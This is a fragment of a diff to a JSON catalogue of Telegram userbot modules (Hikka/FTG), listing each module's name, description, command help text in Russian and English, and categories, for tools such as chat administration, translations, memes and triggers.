"developer": "@sqlmerr_m" + }, + "commands": [ + { + "random_emoji": "Random emoji" + } + ], + "new_commands": [ + { + "random_emoji": { + "ru_doc": null, + "en_doc": null, + "doc": "Random emoji" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "sqlmerr/hikka_mods/translation_manager.py": { + "name": "TranslationManager", + "description": "Module for managing external modules translations", + "meta": { + "pic": null, + "banner": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/banners/translation_manager.png?raw=true", + "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/translation_manager.png?raw=true", + "developer": "@sqlmerr_m" + }, + "commands": [ + { + "trget": "[mod] [lang] [key] - Get current translation [модуль] [язык] [ключ] - Получить перевод" + }, + { + "trset": "[mod] [lang] [key] [val] - Set translation [модуль] [язык] [ключ] [значение] - Изменить перевод" + }, + { + "trdel": "[mod] [lang] [key] - Delete custom translation [модуль] [язык] [ключ] - Удалить кастомный перевод" + } + ], + "new_commands": [ + { + "trget": { + "ru_doc": "[модуль] [язык] [ключ] - Получить перевод", + "en_doc": null, + "doc": "[mod] [lang] [key] - Get current translation" + } + }, + { + "trset": { + "ru_doc": "[модуль] [язык] [ключ] [значение] - Изменить перевод", + "en_doc": null, + "doc": "[mod] [lang] [key] [val] - Set translation" + } + }, + { + "trdel": { + "ru_doc": "[модуль] [язык] [ключ] - Удалить кастомный перевод", + "en_doc": null, + "doc": "[mod] [lang] [key] - Delete custom translation" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "sqlmerr/hikka_mods/animatedprofile.py": { + "name": "AnimatedProfile", + "description": "Module for your profile animation (name, bio) look in the config", + "meta": { + "pic": null, + "banner": null, + "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/animatedprofile.png?raw=true", + "developer": "@sqlmerr_m" + }, + "commands": [ + { + "animatedname": "(aname) Turn on name animation (aname) Включить анимацию имени" + }, + { + "animatedbio": "(abio) Turn on bio animation (abio) Включить анимацию био" + }, + { + "stopanimatedname": "(stopaname) Turn off name animation (stopaname) Выключить анимацию имени" + }, + { + "stopanimatedbio": "(stopabio) Turn off bio animation (stopabio) Выключить анимацию био" + } + ], + "new_commands": [ + { + "animatedname": { + "ru_doc": "(aname) Включить анимацию имени", + "en_doc": null, + "doc": "(aname) Turn on name animation" + } + }, + { + "animatedbio": { + "ru_doc": "(abio) Включить анимацию био", + "en_doc": null, + "doc": "(abio) Turn on bio animation" + } + }, + { + "stopanimatedname": { + "ru_doc": "(stopaname) Выключить анимацию имени", + "en_doc": null, + "doc": "(stopaname) Turn off name animation" + } + }, + { + "stopanimatedbio": { + "ru_doc": "(stopabio) Выключить анимацию био", + "en_doc": null, + "doc": "(stopabio) Turn off bio animation" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "sqlmerr/hikka_mods/quicktools.py": { + "name": "QuickTools", + "description": "Module with various quick and useful tools", + "meta": { + "pic": null, + "banner": "https://github.com/sqlmerr/sqlmerr/blob/main/assets/hikka_mods/quicktools.png?raw=true", + "developer": "@sqlmerr_m", + "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/quicktools.png?raw=true" + }, + "commands": [ + { + "id": "<reply to message> Get user/chat/sender/replied message/message ID <реплай на сообщение> Получить айди пользователя/чата/отправителя/сообщения" + }, + { + "text": "<reply to message> Get replied message text <реплай на сообщение> Получить текст сообщения" + }, + { + "reply_markup": "<reply to message> Get replied message reply markup (buttons) <реплай на сообщение> Получить кнопки сообщения" + }, + { + "entity_link": "<bot api entity id> <use open message (optional)> - creates link to entity (chat/user)" + } + ], + "new_commands": [ + { + "id": { + "ru_doc": "<реплай на сообщение> Получить айди пользователя/чата/отправителя/сообщения", + "en_doc": null, + "doc": "<reply to message> Get user/chat/sender/replied message/message ID" + } + }, + { + "text": { + "ru_doc": "<реплай на сообщение> Получить текст сообщения", + "en_doc": null, + "doc": "<reply to message> Get replied message text" + } + }, + { + "reply_markup": { + "ru_doc": "<реплай на сообщение> Получить кнопки сообщения", + "en_doc": null, + "doc": "<reply to message> Get replied message reply markup (buttons)" + } + }, + { + "entity_link": { + "ru_doc": null, + "en_doc": null, + "doc": "<bot api entity id> <use open message (optional)> - creates link to entity (chat/user)" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "sqlmerr/hikka_mods/egsfreegames.py": { + "name": "EGSFreeGames", + "description": "Module for checking free games in Epic Games Store. Inline bot will send them every day in special chat", + "meta": { + "pic": null, + "banner": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/banners/egsfreegames.png?raw=true", + "developer": "@sqlmerr_m", + "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/egsfreegames.png?raw=true" + }, + "commands": [ + { + "egsgames": "Get free games links available in Epic Games Store Получить бесплатные игры доступные в Epic Games Store" + } + ], + "new_commands": [ + { + "egsgames": { + "ru_doc": "Получить бесплатные игры доступные в Epic Games Store", + "en_doc": null, + "doc": "Get free games links available in Epic Games Store" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "sqlmerr/hikka_mods/triggers.py": { + "name": "Triggers", + "description": "Triggers watch chat messages and can do anything, reply to a message with a given text, delete a message, execute any userbot command. Overall, a very cool module", + "meta": { + "pic": null, + "banner": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/banners/triggers.png?raw=true", + "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/triggers.png?raw=true", + "developer": "@sqlmerr_m" + }, + "commands": [ + { + "triggeraddbase": "[text that the module will trigger on] <reply on the response text> - Add base trigger [текст, на который будет тригеррится модуль] <реплай на текст ответа> - Добавить базовый триггер" + }, + { + "triggeradd": "[trigger] - Add a trigger from raw data [триггер] - Добавить триггер из сырых данных" + }, + { + "triggers": "View all triggers Посмотреть все триггеры" + }, + { + "triggerchat": "Add chat, where triggers will work Добавить чат, где будут работать триггеры" + }, + { + "tconfig": "[optional: trigger id] - Triggers config. [необязятельно: айди триггера] - Конфиг модуля" + }, + { + "triggerdel": "[trigger's id] - Delete trigger [айди триггера] - Удалить триггер" + }, + { + "tcallback": "[callback_id: str] <reply to python code> - Add a callback that trigger can execute [айди колбека: str] <реплай на пайтон код> - Добавить колбек, который триггер сможет выполнить" + }, + { + "triggerget": "[trigger's id] - Get trigger [айди триггера] - Получить триггер" + }, + { + "triggerset": "[trigger's id] [edited trigger] - Edit trigger [айди триггера] [измененный триггер] - Изменить триггер" + }, + { + "triggerupdate": "[trigger's id] [path] [value] - Edit trigger [айди триггера] [путь] [значение] - Изменить одно значение триггера" + } + ], + "new_commands": [ + { + "triggeraddbase": { + "ru_doc": "[текст, на который будет тригеррится модуль] <реплай на текст ответа> - Добавить базовый триггер", + "en_doc": null, + "doc": "[text that the module will trigger on] <reply on the response text> - Add base trigger" + } + }, + { + "triggeradd": { + "ru_doc": "[триггер] - Добавить триггер из сырых данных", + "en_doc": null, + "doc": "[trigger] - Add a trigger from raw data" + } + }, + { + "triggers": { + "ru_doc": "Посмотреть все триггеры", + "en_doc": null, + "doc": "View all triggers" + } + }, + { + "triggerchat": { + "ru_doc": "Добавить чат, где будут работать триггеры", + "en_doc": null, + "doc": "Add chat, where triggers will work" + } + }, + { + "tconfig": { + "ru_doc": "[необязятельно: айди триггера] - Конфиг модуля", + "en_doc": null, + "doc": "[optional: trigger id] - Triggers config." + } + }, + { + "triggerdel": { + "ru_doc": "[айди триггера] - Удалить триггер", + "en_doc": null, + "doc": "[trigger's id] - Delete trigger" + } + }, + { + "tcallback": { + "ru_doc": "[айди колбека: str] <реплай на пайтон код> - Добавить колбек, который триггер сможет выполнить", + "en_doc": null, + "doc": "[callback_id: str] <reply to python code> - Add a callback that trigger can execute" + } + }, + { + "triggerget": { + "ru_doc": "[айди триггера] - Получить триггер", + "en_doc": null, + "doc": "[trigger's id] - Get trigger" + } + }, + { + "triggerset": { + "ru_doc": "[айди триггера] [измененный триггер] - Изменить триггер", + "en_doc": null, + "doc": "[trigger's id] [edited trigger] - Edit trigger" + } + }, + { + "triggerupdate": { + "ru_doc": "[айди триггера] [путь] [значение] - Изменить одно значение триггера", + "en_doc": null, + "doc": "[trigger's id] [path] [value] - Edit trigger" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "Fl1yd/FTG-Modules/chatinfo.py": { + "name": "ChatInfoMod", + "description": "Показывает информацию о чате.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "chatinfocmd": "Используй .chatinfo <айди чата>; ничего" + } + ], + "new_commands": [ + { + "chatinfo": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .chatinfo <айди чата>; ничего" + } + } + ], + "category": [ + "Automation", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/myhelp.py": { + "name": "HelpMod", + "description": "Описание этого модуля.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "helpcmd": ".help <название модуля>." + }, + { + "supportcmd": "Вступить в канал авторских модулей." + } + ], + "new_commands": [ + { + "help": { + "ru_doc": null, + "en_doc": null, + "doc": ".help <название модуля>." + } + }, + { + "support": { + "ru_doc": null, + "en_doc": null, + "doc": "Вступить в канал авторских модулей." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/fake.py": { + "name": "FakeActionsMod", + "description": "Показывает фейковые действия.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "fakecmd": "Использование: .fake <действие>.\nСписок действий: typing, contact, game, location, record-audio, record-round, record-video, voice, round, video, photo, document.\nОтмена: .fake cancel" + } + ], + "new_commands": [ + { + "fake": { + "ru_doc": null, + "en_doc": null, + "doc": "Использование: .fake <действие>.\nСписок действий: typing, contact, game, location, record-audio, record-round, record-video, voice, round, video, photo, document.\nОтмена: .fake cancel" + } } ], "category": [ @@ -9367,34 +23893,75 @@ "Tools" ] }, - "C0dwiz/H.Modules/shortener.py": { - "name": "Shortener", - "description": "Module for working with the api bit.ly", + "Fl1yd/FTG-Modules/nowplay.py": { + "name": "NowPlayMod", + "description": "Что сейчас играет.", "meta": { "pic": null, - "banner": null, - "developer": "@hikka_mods" + "banner": null }, "commands": [ { - "shortencmd": "Сократить ссылку через bit.ly Shorten the link via bit.ly" - }, - { - "statclcmd": "Посмотреть статистику ссылки через bit.ly View link statistics via bit.ly" + "npcmd": "Скидывает то, что сейчас играет." } ], "new_commands": [ { - "shorten": { - "ru_doc": "Сократить ссылку через bit.ly", - "en_doc": "Shorten the link via bit.ly", - "doc": null + "np": { + "ru_doc": null, + "en_doc": null, + "doc": "Скидывает то, что сейчас играет." } - }, + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/ownerships.py": { + "name": "OwnershipsMod", + "description": "Посмотреть свои владения.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ { - "statcl": { - "ru_doc": "Посмотреть статистику ссылки через bit.ly", - "en_doc": "View link statistics via bit.ly", + "owncmd": "Команда .own выводит список владений открытых чатов/каналов. " + } + ], + "new_commands": [ + { + "own": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .own выводит список владений открытых чатов/каналов. " + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "Fl1yd/FTG-Modules/count.py": { + "name": "CountMod", + "description": "Количество чатов.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "countcmd": "" + } + ], + "new_commands": [ + { + "count": { + "ru_doc": null, + "en_doc": null, "doc": null } } @@ -9404,6 +23971,6482 @@ "Chat" ] }, + "Fl1yd/FTG-Modules/arts.py": { + "name": "ArtsMod", + "description": "Юникод арты", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "vjuhcmd": "Используй .vjuh <текст>." + }, + { + "cowsaycmd": "Используй .cowsay <текст>." + }, + { + "padayucmd": "Используй .padayu <текст>; ничего." + }, + { + "priletelcmd": "Используй .prilitel <текст>; ничего." + }, + { + "huytebecmd": "Используй .huytebe <текст>; ничего." + }, + { + "lolcmd": "Используй .lol." + }, + { + "fuckyoucmd": "Используй .fuckyou." + }, + { + "housecmd": "Используй .house." + }, + { + "hellocmd": "Используй .hello." + }, + { + "coffeecmd": "Используй .coffee <текст>; ничего." + }, + { + "tvcmd": "Используй .tv <текст>; ничего." + }, + { + "grencmd": "Используй .gren <текст>; ничего." + }, + { + "bruhcmd": "Используй .bruh." + }, + { + "unocmd": "Используй .uno." + }, + { + "huycmd": "Используй .huy <emoji>; ничего." + }, + { + "impscmd": "Используй .imps <@ или реплай>." + }, + { + "fcmd": "Используй .f" + } + ], + "new_commands": [ + { + "vjuh": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .vjuh <текст>." + } + }, + { + "cowsay": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .cowsay <текст>." + } + }, + { + "padayu": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .padayu <текст>; ничего." + } + }, + { + "priletel": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .prilitel <текст>; ничего." + } + }, + { + "huytebe": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .huytebe <текст>; ничего." + } + }, + { + "lol": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .lol." + } + }, + { + "fuckyou": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .fuckyou." + } + }, + { + "house": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .house." + } + }, + { + "hello": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .hello." + } + }, + { + "coffee": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .coffee <текст>; ничего." + } + }, + { + "tv": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .tv <текст>; ничего." + } + }, + { + "gren": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .gren <текст>; ничего." + } + }, + { + "bruh": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .bruh." + } + }, + { + "uno": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .uno." + } + }, + { + "huy": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .huy <emoji>; ничего." + } + }, + { + "imps": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .imps <@ или реплай>." + } + }, + { + "f": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .f" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/hearts.py": { + "name": "HeartsMod", + "description": null, + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "lheartscmd": "" + }, + { + "sheartscmd": "" + } + ], + "new_commands": [ + { + "lhearts": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + }, + { + "shearts": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Admin" + ] + }, + "Fl1yd/FTG-Modules/hiddentag.py": { + "name": "HiddenTagMod", + "description": "Скрытно тегнуть пользователя.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "tagcmd": "Использование: .tag <@> <текст (по желанию)>." + } + ], + "new_commands": [ + { + "tag": { + "ru_doc": null, + "en_doc": null, + "doc": "Использование: .tag <@> <текст (по желанию)>." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/onava.py": { + "name": "OnAvaMod", + "description": "Гифку/видео/стикер на аву.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "onavacmd": "Установить на аву гифку/видео/стикер.\nИспользование: .onava <реплай>." + }, + { + "togifcmd": "Сделать из медиа гифку.\nИспользование: .togif <реплай>." + } + ], + "new_commands": [ + { + "onava": { + "ru_doc": null, + "en_doc": null, + "doc": "Установить на аву гифку/видео/стикер.\nИспользование: .onava <реплай>." + } + }, + { + "togif": { + "ru_doc": null, + "en_doc": null, + "doc": "Сделать из медиа гифку.\nИспользование: .togif <реплай>." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/searchmodules.py": { + "name": "SearchMod", + "description": "Поиск контента на канале @ftgmodulesbyfl1yd", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "searchcmd": "Используй .search <название>" + } + ], + "new_commands": [ + { + "search": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .search <название>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/gsbl.py": { + "name": "GSBLMod", + "description": "Фановый, мемный модуль.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "gsblcmd": "Используй .gsbl <реплай на картинку/стикер>." + } + ], + "new_commands": [ + { + "gsbl": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .gsbl <реплай на картинку/стикер>." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/replydownloader.py": { + "name": "ReplyDownloaderMod", + "description": "Скачать файлом реплай.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "dlrcmd": "Команда .dlr <реплай на файл> <название (по желанию)> скачивает файл, либо сохраняет текст в файл на который был сделан реплай." + }, + { + "ulfcmd": "Команда .ulf <d>* <название файла> отправляет файл в чат.\n* - удалить файл после отправки." + } + ], + "new_commands": [ + { + "dlr": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .dlr <реплай на файл> <название (по желанию)> скачивает файл, либо сохраняет текст в файл на который был сделан реплай." + } + }, + { + "ulf": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .ulf <d>* <название файла> отправляет файл в чат.\n* - удалить файл после отправки." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "Fl1yd/FTG-Modules/mediacutter.py": { + "name": "MediaCutterMod", + "description": "Обрезать медиа.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "cutcmd": "Используй .cut <начало(сек):конец(сек)> <реплай на аудио/видео/гиф>." + } + ], + "new_commands": [ + { + "cut": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .cut <начало(сек):конец(сек)> <реплай на аудио/видео/гиф>." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/calendar.py": { + "name": "CalendarMod", + "description": "Календарь", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "clndcmd": ".clnd <год> <месяц> или ничего" + } + ], + "new_commands": [ + { + "clnd": { + "ru_doc": null, + "en_doc": null, + "doc": ".clnd <год> <месяц> или ничего" + } + } + ], + "category": [ + "Tools", + "Social" + ] + }, + "Fl1yd/FTG-Modules/chat.py": { + "name": "ChatMod", + "description": "Чат модуль", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "useridcmd": "Команда .userid <@ или реплай> показывает ID выбранного пользователя." + }, + { + "chatidcmd": "Команда .chatid показывает ID чата." + }, + { + "invitecmd": "Используйте .invite <@ или реплай>, чтобы добавить пользователя в чат." + }, + { + "kickmecmd": "Используйте команду .kickme, чтобы кикнуть себя из чата." + }, + { + "userscmd": "Команда .users <имя> выводит список всех пользователей в чате." + }, + { + "adminscmd": "Команда .admins показывает список всех админов в чате." + }, + { + "botscmd": "Команда .bots показывает список всех ботов в чате." + } + ], + "new_commands": [ + { + "userid": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .userid <@ или реплай> показывает ID выбранного пользователя." + } + }, + { + "chatid": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .chatid показывает ID чата." + } + }, + { + "invite": { + "ru_doc": null, + "en_doc": null, + "doc": "Используйте .invite <@ или реплай>, чтобы добавить пользователя в чат." + } + }, + { + "kickme": { + "ru_doc": null, + "en_doc": null, + "doc": "Используйте команду .kickme, чтобы кикнуть себя из чата." + } + }, + { + "users": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .users <имя> выводит список всех пользователей в чате." + } + }, + { + "admins": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .admins показывает список всех админов в чате." + } + }, + { + "bots": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .bots показывает список всех ботов в чате." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/catchargs.py": { + "name": "PicMod", + "description": "Случайный картинка по аргументам из @pic.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "piccmd": "" + } + ], + "new_commands": [ + { + "pic": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "Fl1yd/FTG-Modules/AudioShakal.py": { + "name": "AudioShakalMod", + "description": "АудиоШакал", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "fvcmd": "<b>.fv <reply to voice/mp3/ogg/oga> [шакал_lvl(не обязательно, по умолчанию 100 (от 10 до 100))]\nСшакалить войс/mp3/ogg/oga</b>" + } + ], + "new_commands": [ + { + "fv": { + "ru_doc": null, + "en_doc": null, + "doc": "<b>.fv <reply to voice/mp3/ogg/oga> [шакал_lvl(не обязательно, по умолчанию 100 (от 10 до 100))]\nСшакалить войс/mp3/ogg/oga</b>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/dictionary.py": { + "name": "DictionaryMod", + "description": "Словарь.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "meancmd": "Использование: .mean <слово>." + } + ], + "new_commands": [ + { + "mean": { + "ru_doc": null, + "en_doc": null, + "doc": "Использование: .mean <слово>." + } + } + ], + "category": [ + "Chat", + "Customization" + ] + }, + "Fl1yd/FTG-Modules/report.py": { + "name": "ReportMod", + "description": "Репорт", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "reportcmd": "Репорт пользователя за спам." + } + ], + "new_commands": [ + { + "report": { + "ru_doc": null, + "en_doc": null, + "doc": "Репорт пользователя за спам." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/tagall.py": { + "name": "TagAllMod", + "description": "Тэгает всех в чате.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "tagallcmd": "Используй .tagall <текст (по желанию)>." + } + ], + "new_commands": [ + { + "tagall": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .tagall <текст (по желанию)>." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/textonphoto.py": { + "name": "TextOnPhotoMod", + "description": null, + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "bottomcmd": "Используй: .bottom {реплай на картинку/стикер} <white/black>;ничего <текст>." + }, + { + "topcmd": "Используй: .top {реплай на картинку/стикер} <white/black>;ничего <текст>." + }, + { + "centercmd": "Используй: .center {реплай на картинку/стикер} <white/black>;ничего <текст>." + } + ], + "new_commands": [ + { + "bottom": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй: .bottom {реплай на картинку/стикер} <white/black>;ничего <текст>." + } + }, + { + "top": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй: .top {реплай на картинку/стикер} <white/black>;ничего <текст>." + } + }, + { + "center": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй: .center {реплай на картинку/стикер} <white/black>;ничего <текст>." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/urlshortener.py": { + "name": "URLShortenerMod", + "description": "Сократитель ссылок", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "lgtcmd": "Сократить ссылку с помощью сервиса verylegit.link" + } + ], + "new_commands": [ + { + "lgt": { + "ru_doc": null, + "en_doc": null, + "doc": "Сократить ссылку с помощью сервиса verylegit.link" + } + } + ], + "category": [ + "Info", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/nedoquotes.py": { + "name": "NedoQuotesMod", + "description": "Генератор всратых цитат by @ShittyQuoteBot", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "nqcmd": "Используй: .nq <текст или реплай>." + } + ], + "new_commands": [ + { + "nq": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй: .nq <текст или реплай>." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/hiddenurl.py": { + "name": "HiddenUrlMod", + "description": "Скрывает ссылку под невидимый текст.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "hidecmd": "Используй .hide <url> <текст или реплай на медиа>." + } + ], + "new_commands": [ + { + "hide": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .hide <url> <текст или реплай на медиа>." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/groupcreator.py": { + "name": "GroupCreatorMod", + "description": "Создать чат или канал.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "createcmd": "Используй .create <g|s|c> <название>, чтобы создать группу, супергруппу или канал." + } + ], + "new_commands": [ + { + "create": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .create <g|s|c> <название>, чтобы создать группу, супергруппу или канал." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/vsratomemes.py": { + "name": "VsratoMemesMod", + "description": "Всратые мемы.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "wolfcmd": "\"Используй .wolf." + }, + { + "vsratocmd": "Используй .vsrato <реплай на пикчу>." + } + ], + "new_commands": [ + { + "wolf": { + "ru_doc": null, + "en_doc": null, + "doc": "\"Используй .wolf." + } + }, + { + "vsrato": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .vsrato <реплай на пикчу>." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/family.py": { + "name": "FamilyMod", + "description": "Quote a message", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "familycmd": "" + } + ], + "new_commands": [ + { + "family": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "Fl1yd/FTG-Modules/admin.py": { + "name": "AdminToolsMod", + "description": "Администрирование чата", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "ecpcmd": "Команда .ecp изменяет картинку чата.\nИспользование: .ecp <реплай на картинку/стикер>." + }, + { + "promotecmd": "Команда .promote повышает пользователя в правах администратора.\nИспользование: .promote <@ или реплай> <ранг>." + }, + { + "demotecmd": "Команда .demote понижает пользователя в правах администратора.\nИспользование: .demote <@ или реплай>." + }, + { + "pincmd": "Команда .pin закрепляет сообщение в чате.\nИспользование: .pin <реплай>." + }, + { + "unpincmd": "Команда .unpin открепляет закрепленное сообщение в чате.\nИспользование: .unpin." + }, + { + "kickcmd": "Команда .kick кикает пользователя.\nИспользование: .kick <@ или реплай>." + }, + { + "bancmd": "Команда .ban даёт бан пользователю.\nИспользование: .ban <@ или реплай>." + }, + { + "unbancmd": "Команда .unban для разбана пользователя.\nИспользование: .unban <@ или реплай>." + }, + { + "mutecmd": "Команда .mute даёт мут пользователю.\nИспользование: .mute <@ или реплай> <время (1m, 1h, 1d)>." + }, + { + "unmutecmd": "Команда .unmute для размута пользователя.\nИспользование: .unmute <@ или реплай>." + }, + { + "delallmsgscmd": "Команда .delallmsgs удаляет все сообщения от пользователя.\nИспользование: .delallmsgs <@ или реплай>." + }, + { + "deluserscmd": "Команда .delusers показывает список всех удалённых аккаунтов в чате.\nИспользование: .delusers <clean>." + } + ], + "new_commands": [ + { + "ecp": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .ecp изменяет картинку чата.\nИспользование: .ecp <реплай на картинку/стикер>." + } + }, + { + "promote": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .promote повышает пользователя в правах администратора.\nИспользование: .promote <@ или реплай> <ранг>." + } + }, + { + "demote": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .demote понижает пользователя в правах администратора.\nИспользование: .demote <@ или реплай>." + } + }, + { + "pin": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .pin закрепляет сообщение в чате.\nИспользование: .pin <реплай>." + } + }, + { + "unpin": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .unpin открепляет закрепленное сообщение в чате.\nИспользование: .unpin." + } + }, + { + "kick": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .kick кикает пользователя.\nИспользование: .kick <@ или реплай>." + } + }, + { + "ban": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .ban даёт бан пользователю.\nИспользование: .ban <@ или реплай>." + } + }, + { + "unban": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .unban для разбана пользователя.\nИспользование: .unban <@ или реплай>." + } + }, + { + "mute": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .mute даёт мут пользователю.\nИспользование: .mute <@ или реплай> <время (1m, 1h, 1d)>." + } + }, + { + "unmute": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .unmute для размута пользователя.\nИспользование: .unmute <@ или реплай>." + } + }, + { + "delallmsgs": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .delallmsgs удаляет все сообщения от пользователя.\nИспользование: .delallmsgs <@ или реплай>." + } + }, + { + "delusers": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .delusers показывает список всех удалённых аккаунтов в чате.\nИспользование: .delusers <clean>." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/freeomonbot.py": { + "name": "OmonBotMod", + "description": "Омон бот.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "omoncmd": "Используй .omon <реплай на пикчу>." + } + ], + "new_commands": [ + { + "omon": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .omon <реплай на пикчу>." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Fl1yd/FTG-Modules/wwtaf.py": { + "name": "WWTaFMod", + "description": "Модуль для работы с текстом или файлами.", + "meta": { + "pic": null, + "banner": null 